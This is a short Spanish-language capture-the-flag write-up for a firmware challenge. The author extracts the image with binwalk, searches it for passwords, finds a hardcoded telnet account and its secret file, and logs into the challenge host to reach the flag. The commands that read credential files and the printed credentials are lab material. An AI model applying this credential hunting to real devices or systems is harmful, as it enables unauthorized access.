The Needle
July 16, 20242 minutes
As a part of our SDLC process, we’ve got our firmware ready for security testing. Can you help us by performing a security assessment?
Como parte de nuestro proceso SDLC, tenemos nuestro firmware listo para pruebas de seguridad. ¿Podrías ayudarnos realizando una evaluación de seguridad?
Archivos proporcionados: firmware.bin
Empezamos extrayendo los archivos del firmware
d3bo@lenovo ~/D/h/c/needle> binwalk --extract firmware.bin
d3bo@lenovo ~/D/h/c/needle> ls
_firmware.bin.extracted firmware.bin
Nuestro objetivo es encontrar credenciales.
Empecé enumerando archivos como shadow, passwd…
d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted [1]> cat shadow
1 root::0:0:99999:7:::
2 daemon:*:0:0:99999:7:::
3 ftp:*:0:0:99999:7:::
4 network:*:0:0:99999:7:::
5 nobody:*:0:0:99999:7:::
6 dnsmasq❌0:0:99999:7:::
d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> cat passwd
Pero no había nada destacable.
Después empecé a filtrar con grep por archivos que contengan la palabra pass o user y tampoco encontré nada
grep -r 'user' .
grep -r 'pass' .
Al filtrar por archivos que contengan la palabra login
, vemos un posible usuario llamado Device_Admin y como contraseña se usa $sign.
d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> grep -r 'login'
.......
telnetd.sh: telnetd -l "/usr/sbin/login" -u Device_Admin:$sign -i $lf &
.......
Vamos a ver donde se declara la variable $sign para poder ver su valor
d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> grep -r 'sign='
telnetd.sh:sign=`cat /etc/config/sign`
Parece ser que sign tiene de valor el contenido del archivo /etc/config/sign
d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> cat sign
qS6-X/n]u>fVfAt!
Ya tenemos las credenciales: Device_Admin:qS6-X/n]u>fVfAt!
d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> nc 94.237.53.157 47932
ng-822100-hwtheneedle-8twgm-5c74c747b5-8gmb2 login: Device_Admin
Device_Admin
Password: qS6-X/n]u>fVfAt!
ng-822100-hwtheneedle-8twgm-5c74c747b5-8gmb2:~$ ls
flag.txt
Ya podemos ver la flag